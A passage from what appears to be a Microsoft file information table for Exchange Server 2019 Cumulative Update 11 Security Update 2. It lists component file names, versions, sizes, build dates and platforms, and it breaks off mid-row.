daylight-saving time (DST) bias. Additionally, the dates and times may change when you perform certain operations on the files.\n\n### \n\n__\n\nMicrosoft Exchange Server 2019 Cumulative Update 11 Security Update 2\n\nFile name| File version| File size| Date| Time| Platform \n---|---|---|---|---|--- \nActivemonitoringeventmsg.dll| 15.2.986.11| 71,032| 3-Nov-21| 18:14| x64 \nActivemonitoringexecutionlibrary.ps1| Not applicable| 29,518| 3-Nov-21| 18:13| Not applicable \nAdduserstopfrecursive.ps1| Not applicable| 14,921| 3-Nov-21| 18:13| Not applicable \nAdemodule.dll| 15.2.986.11| 106,376| 3-Nov-21| 18:13| x64 \nAirfilter.dll| 15.2.986.11| 42,888| 3-Nov-21| 18:13| x64 \nAjaxcontroltoolkit.dll| 15.2.986.13| 92,560| 3-Nov-21| 18:11| x86 \nAntispamcommon.ps1| Not applicable| 13,481| 3-Nov-21| 18:13| Not applicable \nAsdat.msi| Not applicable| 5,087,232| 3-Nov-21| 18:19| Not applicable \nAsentirs.msi| Not applicable| 77,824| 3-Nov-21| 18:19| Not applicable \nAsentsig.msi| Not applicable| 73,728| 3-Nov-21| 18:13| Not applicable \nBigfunnel.bondtypes.dll| 15.2.986.11| 45,440| 3-Nov-21| 18:11| x86 \nBigfunnel.common.dll| 15.2.986.11| 66,448| 3-Nov-21| 18:11| x86 \nBigfunnel.configuration.dll| 15.2.986.14| 118,136| 3-Nov-21| 18:23| x86 \nBigfunnel.entropy.dll| 15.2.986.11| 44,432| 3-Nov-21| 18:11| x86 \nBigfunnel.filter.dll| 15.2.986.11| 54,144| 3-Nov-21| 18:11| x86 \nBigfunnel.indexstream.dll| 15.2.986.13| 69,008| 3-Nov-21| 18:11| x86 \nBigfunnel.neuraltree.dll| Not applicable| 694,160| 3-Nov-21| 18:13| x64 \nBigfunnel.neuraltreeranking.dll| 15.2.986.13| 19,848| 3-Nov-21| 18:14| x86 \nBigfunnel.poi.dll| 15.2.986.11| 243,600| 3-Nov-21| 18:11| x86 \nBigfunnel.postinglist.dll| 15.2.986.13| 188,808| 3-Nov-21| 18:11| x86 \nBigfunnel.query.dll| 15.2.986.11| 101,256| 3-Nov-21| 18:11| x86 \nBigfunnel.ranking.dll| 15.2.986.13| 109,456| 3-Nov-21| 18:13| x86 \nBigfunnel.syntheticdatalib.dll| 15.2.986.11| 3,634,552| 3-Nov-21| 18:13| x86 \nBigfunnel.tracing.dll| 15.2.986.11| 42,888| 3-Nov-21| 18:13| x86 \nBigfunnel.wordbreakers.dll| 15.2.986.11| 46,456| 3-Nov-21| 18:13| x86 \nCafe_airfilter_dll| 15.2.986.11| 42,888| 3-Nov-21| 18:13| x64 \nCafe_exppw_dll| 15.2.986.11| 83,328| 3-Nov-21| 18:13| x64 \nCafe_owaauth_dll| 15.2.986.11| 92,024| 3-Nov-21| 18:18| x64 \nCalcalculation.ps1| Not applicable| 42,109| 3-Nov-21| 18:14| Not applicable \nCheckdatabaseredundancy.ps1| Not applicable| 94,638| 3-Nov-21| 18:11| Not applicable \nChksgfiles.dll| 15.2.986.11| 57,216| 3-Nov-21| 18:13| x64 \nCitsconstants.ps1| Not applicable| 15,797| 3-Nov-21| 18:13| Not applicable \nCitslibrary.ps1| Not applicable| 82,660| 3-Nov-21| 18:13| Not applicable \nCitstypes.ps1| Not applicable| 14,472| 3-Nov-21| 18:13| Not applicable \nClassificationengine_mce| 15.2.986.11| 1,693,056| 3-Nov-21| 18:13| Not applicable \nClusmsg.dll| 15.2.986.11| 134,008| 3-Nov-21| 18:14| x64 \nCoconet.dll| 15.2.986.11| 48,008| 3-Nov-21| 18:13| x64 \nCollectovermetrics.ps1| Not applicable| 81,656| 3-Nov-21| 18:11| Not applicable \nCollectreplicationmetrics.ps1| Not applicable| 41,882| 3-Nov-21| 18:11| Not applicable \nCommonconnectfunctions.ps1| Not applicable| 29,963| 3-Nov-21| 20:40| Not applicable \nComplianceauditservice.exe| 15.2.986.14| 39,824| 3-Nov-21| 20:44| x86 \nConfigureadam.ps1| Not applicable| 22,776| 3-Nov-21| 18:13| Not applicable \nConfigurecaferesponseheaders.ps1| Not applicable| 20,320| 3-Nov-21| 18:11| Not applicable \nConfigurecryptodefaults.ps1| Not applicable| 42,031| 3-Nov-21| 18:14| Not applicable \nConfigurenetworkprotocolparameters.ps1| Not applicable| 19,778| 3-Nov-21| 18:11| Not applicable \nConfiguresmbipsec.ps1| Not applicable| 39,824| 3-Nov-21| 18:13| Not applicable \nConfigure_enterprisepartnerapplication.ps1| Not applicable| 22,291| 3-Nov-21| 18:11| Not applicable \nConnectfunctions.ps1| Not applicable| 37,157| 3-Nov-21| 20:40| Not applicable \nConnect_exchangeserver_help.xml| Not applicable| 30,432| 3-Nov-21| 20:40| Not applicable \nConsoleinitialize.ps1| Not applicable| 24,244| 3-Nov-21| 20:24| Not applicable \nConvertoabvdir.ps1| Not applicable| 20,045| 3-Nov-21| 18:11| Not applicable \nConverttomessagelatency.ps1| Not applicable| 14,540| 3-Nov-21| 18:13| Not applicable \nConvert_distributiongrouptounifiedgroup.ps1| Not applicable| 34,777| 3-Nov-21| 18:13| Not applicable \nCreate_publicfoldermailboxesformigration.ps1| Not applicable| 27,904| 3-Nov-21| 18:11| Not applicable \nCts.14.0.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 505| 3-Nov-21| 18:13| Not applicable \nCts.14.1.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 505| 3-Nov-21| 18:13| Not applicable \nCts.14.2.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 505| 3-Nov-21| 18:13| Not applicable \nCts.14.3.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 505| 3-Nov-21| 18:13| Not applicable \nCts.14.4.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 505| 3-Nov-21| 18:13| Not applicable \nCts.15.0.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 505| 3-Nov-21| 18:13| Not applicable \nCts.15.1.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 505| 3-Nov-21| 18:13| Not applicable \nCts.15.2.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 505| 3-Nov-21| 18:13| Not applicable \nCts.15.20.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 505| 3-Nov-21| 18:13| Not applicable \nCts.8.1.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 505| 3-Nov-21| 18:13| Not applicable \nCts.8.2.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 505| 3-Nov-21| 18:13| Not applicable \nCts.8.3.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 505| 3-Nov-21| 18:13| Not applicable \nCts_exsmime.dll| 15.2.986.11| 380,808| 3-Nov-21| 18:14| x64 \nCts_microsoft.exchange.data.common.dll| 15.2.986.11| 1,686,416| 3-Nov-21| 18:11| x86 \nCts_microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 505| 3-Nov-21| 18:13| Not applicable \nCts_policy.14.0.microsoft.exchange.data.common.dll| 15.2.986.11| 12,672| 3-Nov-21| 18:18| x86 \nCts_policy.14.1.microsoft.exchange.data.common.dll| 15.2.986.11| 12,688| 3-Nov-21| 18:13| x86 \nCts_policy.14.2.microsoft.exchange.data.common.dll| 15.2.986.11| 12,688| 3-Nov-21| 18:13| x86 \nCts_policy.14.3.microsoft.exchange.data.common.dll| 15.2.986.11| 12,664| 3-Nov-21| 18:13| x86 \nCts_policy.14.4.microsoft.exchange.data.common.dll| 15.2.986.11| 12,680| 3-Nov-21| 18:13| x86 \nCts_policy.15.0.microsoft.exchange.data.common.dll| 15.2.986.11| 12,680| 3-Nov-21| 18:13| x86 \nCts_policy.15.1.microsoft.exchange.data.common.dll| 15.2.986.11| 12,672| 3-Nov-21| 18:18| x86 \nCts_policy.15.2.microsoft.exchange.data.common.dll| 15.2.986.11| 12,688| 3-Nov-21| 18:13| x86 \nCts_policy.15.20.microsoft.exchange.data.common.dll| 15.2.986.11| 12,688| 3-Nov-21| 18:18| x86 \nCts_policy.8.0.microsoft.exchange.data.common.dll| 15.2.986.11| 12,672| 3-Nov-21| 18:18| x86 \nCts_policy.8.1.microsoft.exchange.data.common.dll| 15.2.986.11| 12,672| 3-Nov-21| 18:19| x86 \nCts_policy.8.2.microsoft.exchange.data.common.dll| 15.2.986.11| 12,688| 3-Nov-21| 18:13| x86 \nCts_policy.8.3.microsoft.exchange.data.common.dll| 15.2.986.11| 12,680| 3-Nov-21| 18:13| x86 \nDagcommonlibrary.ps1| Not applicable| 60,234| 3-Nov-21| 18:13| Not applicable \nDependentassemblygenerator.exe| 15.2.986.11| 22,408| 3-Nov-21| 18:13| x86 \nDiaghelper.dll| 15.2.986.11| 66,960| 3-Nov-21| 18:14| x86 \nDiagnosticscriptcommonlibrary.ps1| Not applicable| 16,330| 3-Nov-21| 18:13| Not applicable \nDisableinmemorytracing.ps1| Not applicable| 13,366| 3-Nov-21| 18:11| Not applicable \nDisable_antimalwarescanning.ps1| Not applicable| 15,201| 3-Nov-21| 18:11| Not applicable \nDisable_outsidein.ps1| Not applicable| 13,646| 3-Nov-21| 18:11| Not applicable \nDisklockerapi.dll| Not applicable| 22,416| 3-Nov-21| 18:13| x64 \nDlmigrationmodule.psm1| Not applicable| 39,592| 3-Nov-21| 18:13| Not applicable \nDsaccessperf.dll| 15.2.986.11| 45,952| 3-Nov-21| 18:13| x64 \nDscperf.dll| 15.2.986.11| 32,656| 3-Nov-21| 18:19| x64 \nDup_cts_microsoft.exchange.data.common.dll| 15.2.986.11| 1,686,416| 3-Nov-21| 18:11| x86 \nDup_ext_microsoft.exchange.data.transport.dll| 15.2.986.14| 601,488| 3-Nov-21| 18:29| x86 \nEcpperfcounters.xml| Not applicable| 31,136| 3-Nov-21| 18:14| Not applicable \nEdgeextensibility_microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 508| 3-Nov-21| 18:13| Not applicable \nEdgeextensibility_policy.8.0.microsoft.exchange.data.transport.dll| 15.2.986.11| 12,672| 3-Nov-21| 18:13| x86 \nEdgetransport.exe| 15.2.986.14| 49,528| 3-Nov-21| 19:53| x86 \nEext.14.0.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 508| 3-Nov-21| 18:13| Not applicable \nEext.14.1.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 508| 3-Nov-21| 18:13| Not applicable \nEext.14.2.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 508| 3-Nov-21| 18:13| Not applicable \nEext.14.3.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 508| 3-Nov-21| 18:13| Not applicable \nEext.14.4.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 508| 3-Nov-21| 18:13| Not applicable \nEext.15.0.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 508| 3-Nov-21| 18:13| Not applicable \nEext.15.1.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 508| 3-Nov-21| 18:13| Not applicable \nEext.15.2.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 508| 3-Nov-21| 18:13| Not applicable \nEext.15.20.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 508| 3-Nov-21| 18:13| Not applicable \nEext.8.1.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 508| 3-Nov-21| 18:13| Not applicable \nEext.8.2.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 508| 3-Nov-21| 18:13| Not applicable \nEext.8.3.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 508| 3-Nov-21| 18:13| Not applicable \nEext_policy.14.0.microsoft.exchange.data.transport.dll| 15.2.986.11| 12,688| 3-Nov-21| 18:13| x86 \nEext_policy.14.1.microsoft.exchange.data.transport.dll| 15.2.986.11| 12,688| 3-Nov-21| 18:13| x86 \nEext_policy.14.2.microsoft.exchange.data.transport.dll| 15.2.986.11| 12,672| 3-Nov-21| 18:18| x86 \nEext_policy.14.3.microsoft.exchange.data.transport.dll| 15.2.986.11| 12,664| 3-Nov-21| 18:13| x86 \nEext_policy.14.4.microsoft.exchange.data.transport.dll| 15.2.986.11| 12,680| 3-Nov-21| 18:13| x86 \nEext_policy.15.0.microsoft.exchange.data.transport.dll| 15.2.986.11| 12,688| 3-Nov-21| 18:13| x86 \nEext_policy.15.1.microsoft.exchange.data.transport.dll| 15.2.986.11| 12,664| 3-Nov-21| 18:18| x86 \nEext_policy.15.2.microsoft.exchange.data.transport.dll| 15.2.986.11| 12,664| 3-Nov-21| 18:19| x86 \nEext_policy.15.20.microsoft.exchange.data.transport.dll| 15.2.986.11| 13,200| 3-Nov-21| 18:13| x86 \nEext_policy.8.1.microsoft.exchange.data.transport.dll| 15.2.986.11| 12,680| 3-Nov-21| 18:13| x86 \nEext_policy.8.2.microsoft.exchange.data.transport.dll| 15.2.986.11| 12,688| 3-Nov-21| 18:13| x86 \nEext_policy.8.3.microsoft.exchange.data.transport.dll| 15.2.986.11| 12,664| 3-Nov-21| 18:13| x86 \nEnableinmemorytracing.ps1| Not applicable| 13,360| 3-Nov-21| 18:11| Not applicable \nEnable_antimalwarescanning.ps1| Not applicable| 17,571| 3-Nov-21| 18:13| Not applicable \nEnable_basicauthtooauthconverterhttpmodule.ps1| Not applicable| 18,600| 3-Nov-21| 18:11| Not applicable \nEnable_crossforestconnector.ps1| Not applicable| 18,606| 3-Nov-21| 18:11| Not applicable \nEnable_outlookcertificateauthentication.ps1| Not applicable| 22,928| 3-Nov-21| 18:11| Not applicable \nEnable_outsidein.ps1| Not applicable| 13,655| 3-Nov-21| 18:11| Not applicable \nEngineupdateserviceinterfaces.dll| 15.2.986.11| 17,808| 3-Nov-21| 18:14| x86 \nEscprint.dll| 15.2.986.11| 20,368| 3-Nov-21| 18:18| x64 \nEse.dll| 15.2.986.11| 3,741,560| 3-Nov-21| 18:13| x64 \nEseback2.dll| 15.2.986.11| 350,080| 3-Nov-21| 18:13| x64 \nEsebcli2.dll| 15.2.986.11| 318,336| 3-Nov-21| 18:13| x64 \nEseperf.dll| 15.2.986.11| 108,920| 3-Nov-21| 18:13| x64 \nEseutil.exe| 15.2.986.11| 425,344| 3-Nov-21| 18:19| x64 \nEsevss.dll| 15.2.986.11| 44,416| 3-Nov-21| 18:13| x64 \nEtweseproviderresources.dll| 15.2.986.11| 101,264| 3-Nov-21| 18:11| x64 \nEventperf.dll| 15.2.986.11| 59,792| 3-Nov-21| 18:11| x64 \nExchange.depthtwo.types.ps1xml| Not applicable| 40,132| 3-Nov-21| 20:40| Not applicable \nExchange.format.ps1xml| Not applicable| 649,717| 3-Nov-21| 20:40| Not applicable \nExchange.partial.types.ps1xml| Not applicable| 44,362| 3-Nov-21| 20:40| Not applicable \nExchange.ps1| Not applicable| 20,823| 3-Nov-21| 20:40| Not applicable \nExchange.support.format.ps1xml| Not applicable| 26,574| 3-Nov-21| 20:27| Not applicable \nExchange.types.ps1xml| Not applicable| 365,172| 3-Nov-21| 20:40| Not applicable \nExchangeudfcommon.dll| 15.2.986.11| 122,768| 3-Nov-21| 18:13| x86 \nExchangeudfs.dll| 15.2.986.11| 272,760| 3-Nov-21| 18:18| x86 \nExchmem.dll| 15.2.986.11| 86,392| 3-Nov-21| 18:13| x64 \nExchsetupmsg.dll| 15.2.986.11| 19,336| 3-Nov-21| 18:14| x64 \nExdbfailureitemapi.dll| Not applicable| 27,000| 3-Nov-21| 18:11| x64 \nExdbmsg.dll| 15.2.986.11| 230,792| 3-Nov-21| 18:13| x64 \nExeventperfplugin.dll| 15.2.986.11| 25,472| 3-Nov-21| 18:14| x64 \nExmime.dll| 15.2.986.11| 364,920| 3-Nov-21| 18:18| x64 \nExportedgeconfig.ps1| Not applicable| 27,399| 3-Nov-21| 18:11| Not applicable \nExport_mailpublicfoldersformigration.ps1| Not applicable| 18,566| 3-Nov-21| 18:11| Not applicable \nExport_modernpublicfolderstatistics.ps1| Not applicable| 29,214| 3-Nov-21| 18:11| Not applicable \nExport_outlookclassification.ps1| Not applicable| 14,386| 3-Nov-21| 18:18| Not applicable \nExport_publicfolderstatistics.ps1| Not applicable| 23,121| 3-Nov-21| 18:13| Not applicable \nExport_retentiontags.ps1| Not applicable| 17,056| 3-Nov-21| 18:11| Not applicable \nExppw.dll| 15.2.986.11| 83,328| 3-Nov-21| 18:13| x64 \nExprfdll.dll| 15.2.986.11| 26,496| 3-Nov-21| 18:13| x64 \nExrpc32.dll| 15.2.986.11| 2,029,432| 3-Nov-21| 18:13| x64 \nExrw.dll| 15.2.986.11| 28,040| 3-Nov-21| 18:13| x64 \nExsetdata.dll| 15.2.986.11| 2,779,520| 3-Nov-21| 18:18| x64 \nExsetup.exe| 15.2.986.14| 35,208| 3-Nov-21| 20:32| x86 \nExsetupui.exe| 15.2.986.14| 471,952| 3-Nov-21| 20:31| x86 \nExtrace.dll| 15.2.986.11| 245,112| 3-Nov-21| 18:11| x64 \nExt_microsoft.exchange.data.transport.dll| 15.2.986.14| 601,488| 3-Nov-21| 18:29| x86 \nExwatson.dll| 15.2.986.11| 44,944| 3-Nov-21| 18:13| x64 \nFastioext.dll| 15.2.986.11| 60,288| 3-Nov-21| 18:13| x64 \nFil06f84122c94c91a0458cad45c22cce20| Not applicable| 784,631| 3-Nov-21| 22:01| Not applicable \nFil143a7a5d4894478a85eefc89a6539fc8| Not applicable| 1,909,228| 3-Nov-21| 22:03| Not applicable \nFil19f527f284a0bb584915f9994f4885c3| Not applicable| 648,760| 3-Nov-21| 22:01| Not applicable \nFil1a9540363a531e7fb18ffe600cffc3ce| Not applicable| 358,405| 3-Nov-21| 22:03| Not applicable \nFil220d95210c8697448312eee6628c815c| Not applicable| 303,657| 3-Nov-21| 22:01| Not applicable \nFil2cf5a31e239a45fabea48687373b547c| Not applicable| 652,759| 3-Nov-21| 22:01| Not applicable \nFil397f0b1f1d7bd44d6e57e496decea2ec| Not applicable| 784,628| 3-Nov-21| 22:03| Not applicable \nFil3ab126057b34eee68c4fd4b127ff7aee| Not applicable| 784,604| 3-Nov-21| 22:01| Not applicable \nFil41bb2e5743e3bde4ecb1e07a76c5a7a8| Not applicable| 149,154| 3-Nov-21| 22:01| Not applicable \nFil51669bfbda26e56e3a43791df94c1e9c| Not applicable| 9,345| 3-Nov-21| 22:01| Not applicable \nFil558cb84302edfc96e553bcfce2b85286| Not applicable| 85,259| 3-Nov-21| 22:01| Not applicable \nFil55ce217251b77b97a46e914579fc4c64| Not applicable| 648,754| 3-Nov-21| 22:01| Not applicable \nFil5a9e78a51a18d05bc36b5e8b822d43a8| Not applicable| 1,596,145| 3-Nov-21| 22:01| Not applicable \nFil5c7d10e5f1f9ada1e877c9aa087182a9| Not applicable| 1,596,145| 3-Nov-21| 22:01| Not applicable \nFil6569a92c80a1e14949e4282ae2cc699c| Not applicable| 1,596,145| 3-Nov-21| 22:01| Not applicable \nFil6a01daba551306a1e55f0bf6894f4d9f| Not applicable| 648,730| 3-Nov-21| 22:03| Not applicable \nFil8863143ea7cd93a5f197c9fff13686bf| Not applicable| 648,760| 3-Nov-21| 22:01| Not applicable \nFil8a8c76f225c7205db1000e8864c10038| Not applicable| 1,596,145| 3-Nov-21| 22:01| Not applicable \nFil8cd999415d36ba78a3ac16a080c47458| Not applicable| 784,634| 3-Nov-21| 22:01| Not applicable \nFil97913e630ff02079ce9889505a517ec0| Not applicable| 1,596,145| 3-Nov-21| 22:01| Not applicable \nFilaa49badb2892075a28d58d06560f8da2| Not applicable| 785,658| 3-Nov-21| 22:03| Not applicable \nFilae28aeed23ccb4b9b80accc2d43175b5| Not applicable| 648,757| 3-Nov-21| 22:01| Not applicable \nFilb17f496f9d880a684b5c13f6b02d7203| Not applicable| 784,634| 3-Nov-21| 22:01| Not applicable \nFilb94ca32f2654692263a5be009c0fe4ca| Not applicable| 2,564,949| 3-Nov-21| 22:02| Not applicable \nFilbabdc4808eba0c4f18103f12ae955e5c| Not applicable| #########| 3-Nov-21| 22:01| Not applicable \nFilc92cf2bf29bed21bd5555163330a3d07| Not applicable| 652,777| 3-Nov-21| 22:03| Not applicable \nFilcc478d2a8346db20c4e2dc36f3400628| Not applicable| 784,634| 3-Nov-21| 22:01| Not applicable \nFild26cd6b13cfe2ec2a16703819da6d043| Not applicable| 1,596,145| 3-Nov-21| 22:01| Not applicable \nFilf2719f9dc8f7b74df78ad558ad3ee8a6| Not applicable| 785,640| 3-Nov-21| 22:01| Not applicable \nFilfa5378dc76359a55ef20cc34f8a23fee| Not applicable| 1,427,187| 3-Nov-21| 22:01| Not applicable \nFilteringconfigurationcommands.ps1| Not applicable| 18,227| 3-Nov-21| 18:11| Not applicable \nFilteringpowershell.dll| 15.2.986.11| 223,104| 3-Nov-21| 18:14| x86 \nFilteringpowershell.format.ps1xml| Not applicable| 29,660| 3-Nov-21| 18:14| Not applicable \nFiltermodule.dll| 15.2.986.11| 180,088| 3-Nov-21| 18:13| x64 \nFipexeuperfctrresource.dll| 15.2.986.11| 15,224| 3-Nov-21| 18:19| x64 \nFipexeventsresource.dll| 15.2.986.11| 44,920| 3-Nov-21| 18:14| x64 \nFipexperfctrresource.dll| 15.2.986.11| 32,632| 3-Nov-21| 18:18| x64 \nFirewallres.dll| 15.2.986.11| 72,584| 3-Nov-21| 18:11| x64 \nFms.exe| 15.2.986.11| 1,350,008| 3-Nov-21| 18:14| x64 \nForefrontactivedirectoryconnector.exe| 15.2.986.11| 110,992| 3-Nov-21| 18:11| x64 \nFpsdiag.exe| 15.2.986.11| 18,808| 3-Nov-21| 18:14| x86 \nFsccachedfilemanagedlocal.dll| 15.2.986.11| 822,136| 3-Nov-21| 18:14| x64 \nFscconfigsupport.dll| 15.2.986.11| 56,696| 3-Nov-21| 18:11| x86 \nFscconfigurationserver.exe| 15.2.986.11| 430,968| 3-Nov-21| 18:11| x64 \nFscconfigurationserverinterfaces.dll| 15.2.986.11| 15,744| 3-Nov-21| 18:14| x86 \nFsccrypto.dll| 15.2.986.11| 208,784| 3-Nov-21| 18:11| x64 \nFscipcinterfaceslocal.dll| 15.2.986.11| 28,544| 3-Nov-21| 18:11| x86 \nFscipclocal.dll| 15.2.986.11| 38,264| 3-Nov-21| 18:13| x86 \nFscsqmuploader.exe| 15.2.986.11| 453,496| 3-Nov-21| 18:14| x64 \nGetucpool.ps1| Not applicable| 19,767| 3-Nov-21| 18:11| Not applicable \nGetvalidengines.ps1| Not applicable| 13,282| 3-Nov-21| 18:13| Not applicable \nGet_antispamfilteringreport.ps1| Not applicable| 15,789| 3-Nov-21| 18:13| Not applicable \nGet_antispamsclhistogram.ps1| Not applicable| 14,663| 3-Nov-21| 18:13| Not applicable \nGet_antispamtopblockedsenderdomains.ps1| Not applicable| 15,707| 3-Nov-21| 18:13| Not applicable \nGet_antispamtopblockedsenderips.ps1| Not applicable| 14,755| 3-Nov-21| 18:13| Not applicable \nGet_antispamtopblockedsenders.ps1| Not applicable| 15,494| 3-Nov-21| 18:13| Not applicable \nGet_antispamtoprblproviders.ps1| Not applicable| 14,721| 3-Nov-21| 18:13| Not applicable \nGet_antispamtoprecipients.ps1| Not applicable| 14,806| 3-Nov-21| 18:13| Not applicable \nGet_dleligibilitylist.ps1| Not applicable| 42,348| 3-Nov-21| 18:11| Not applicable \nGet_exchangeetwtrace.ps1| Not applicable| 28,955| 3-Nov-21| 18:11| Not applicable \nGet_mitigations.ps1| Not applicable| 25,594| 3-Nov-21| 18:11| Not applicable \nGet_publicfoldermailboxsize.ps1| Not applicable| 15,038| 3-Nov-21| 18:13| Not applicable \nGet_storetrace.ps1| Not applicable| 51,895| 3-Nov-21| 18:11| Not applicable \nHuffman_xpress.dll| 15.2.986.11| 32,632| 3-Nov-21| 18:13| x64 \nImportedgeconfig.ps1| Not applicable| 77,256| 3-Nov-21| 18:11| Not applicable \nImport_mailpublicfoldersformigration.ps1| Not applicable| 29,472| 3-Nov-21| 18:11| Not applicable \nImport_retentiontags.ps1| Not applicable| 28,830| 3-Nov-21| 18:11| Not applicable \nInproxy.dll| 15.2.986.11| 85,880| 3-Nov-21| 18:14| x64 \nInstallwindowscomponent.ps1| Not applicable| 34,555| 3-Nov-21| 18:14| Not applicable \nInstall_antispamagents.ps1| Not applicable| 17,937| 3-Nov-21| 18:13| Not applicable \nInstall_odatavirtualdirectory.ps1| Not applicable| 17,963| 3-Nov-21| 21:07| Not applicable \nInterop.activeds.dll.4b7767dc_2e20_4d95_861a_4629cbc0cabc| 15.2.986.11| 107,408| 3-Nov-21| 18:11| Not applicable \nInterop.adsiis.dll.4b7767dc_2e20_4d95_861a_4629cbc0cabc| 15.2.986.11| 20,360| 3-Nov-21| 18:13| Not applicable \nInterop.certenroll.dll| 15.2.986.11| 142,736| 3-Nov-21| 18:11| x86 \nInterop.licenseinfointerface.dll| 15.2.986.11| 14,200| 3-Nov-21| 18:13| x86 \nInterop.netfw.dll| 15.2.986.11| 34,192| 3-Nov-21| 18:11| x86 \nInterop.plalibrary.dll| 15.2.986.11| 72,568| 3-Nov-21| 18:13| x86 \nInterop.stdole2.dll.4b7767dc_2e20_4d95_861a_4629cbc0cabc| 15.2.986.11| 27,024| 3-Nov-21| 18:11| Not applicable \nInterop.taskscheduler.dll| 15.2.986.11| 46,464| 3-Nov-21| 18:13| x86 \nInterop.wuapilib.dll| 15.2.986.11| 60,800| 3-Nov-21| 18:14| x86 \nInterop.xenroll.dll| 15.2.986.11| 39,824| 3-Nov-21| 18:13| x86 \nKerbauth.dll| 15.2.986.11| 62,848| 3-Nov-21| 18:18| x64 \nLicenseinfointerface.dll| 15.2.986.11| 643,456| 3-Nov-21| 18:14| x64 \nLpversioning.xml| Not applicable| 20,466| 3-Nov-21| 20:32| Not applicable \nMailboxdatabasereseedusingspares.ps1| Not applicable| 31,936| 3-Nov-21| 18:11| Not applicable \nManagedavailabilitycrimsonmsg.dll| 15.2.986.11| 138,640| 3-Nov-21| 18:11| x64 \nManagedstorediagnosticfunctions.ps1| Not applicable| 126,269| 3-Nov-21| 18:13| Not applicable \nManagescheduledtask.ps1| Not applicable| 36,364| 3-Nov-21| 18:11| Not applicable \nManage_metacachedatabase.ps1| Not applicable| 51,099| 3-Nov-21| 18:13| Not applicable \nMce.dll| 15.2.986.11| 1,693,056| 3-Nov-21| 18:13| x64 \nMeasure_storeusagestatistics.ps1| Not applicable| 29,519| 3-Nov-21| 18:11| Not applicable \nMerge_publicfoldermailbox.ps1| Not applicable| 22,635| 3-Nov-21| 18:11| Not applicable \nMicrosoft.database.isam.dll| 15.2.986.13| 127,888| 3-Nov-21| 18:13| x86 \nMicrosoft.dkm.proxy.dll| 15.2.986.13| 26,000| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.activemonitoring.activemonitoringvariantconfig.dll| 15.2.986.14| 68,472| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.activemonitoring.eventlog.dll| 15.2.986.11| 17,792| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.addressbook.service.dll| 15.2.986.14| 233,336| 3-Nov-21| 20:25| x86 \nMicrosoft.exchange.addressbook.service.eventlog.dll| 15.2.986.11| 15,760| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.airsync.airsyncmsg.dll| 15.2.986.11| 43,384| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.airsync.comon.dll| 15.2.986.14| 1,775,504| 3-Nov-21| 20:04| x86 \nMicrosoft.exchange.airsync.dll1| 15.2.986.14| 505,208| 3-Nov-21| 20:59| Not applicable \nMicrosoft.exchange.airsynchandler.dll| 15.2.986.14| 76,176| 3-Nov-21| 21:01| x86 \nMicrosoft.exchange.anchorservice.dll| 15.2.986.14| 135,560| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.antispam.eventlog.dll| 15.2.986.11| 23,416| 3-Nov-21| 18:14| x64 \nMicrosoft.exchange.antispamupdate.eventlog.dll| 15.2.986.11| 15,752| 3-Nov-21| 18:14| x64 \nMicrosoft.exchange.antispamupdatesvc.exe| 15.2.986.14| 27,000| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.approval.applications.dll| 15.2.986.14| 53,624| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.assistants.dll| 15.2.986.14| 925,064| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.assistants.eventlog.dll| 15.2.986.11| 25,976| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.assistants.interfaces.dll| 15.2.986.14| 43,400| 3-Nov-21| 19:33| x86 \nMicrosoft.exchange.audit.azureclient.dll| 15.2.986.14| 15,224| 3-Nov-21| 20:32| x86 \nMicrosoft.exchange.auditlogsearch.eventlog.dll| 15.2.986.11| 14,728| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.auditlogsearchservicelet.dll| 15.2.986.14| 70,544| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.auditstoragemonitorservicelet.dll| 15.2.986.14| 94,608| 3-Nov-21| 20:40| x86 \nMicrosoft.exchange.auditstoragemonitorservicelet.eventlog.dll| 15.2.986.11| 13,192| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.authadmin.eventlog.dll| 15.2.986.11| 15,736| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.authadminservicelet.dll| 15.2.986.14| 36,728| 3-Nov-21| 20:24| x86 \nMicrosoft.exchange.authservicehostservicelet.dll| 15.2.986.14| 15,760| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.autodiscover.configuration.dll| 15.2.986.14| 79,760| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.autodiscover.dll| 15.2.986.14| 396,168| 3-Nov-21| 20:08| x86 \nMicrosoft.exchange.autodiscover.eventlogs.dll| 15.2.986.11| 21,376| 3-Nov-21| 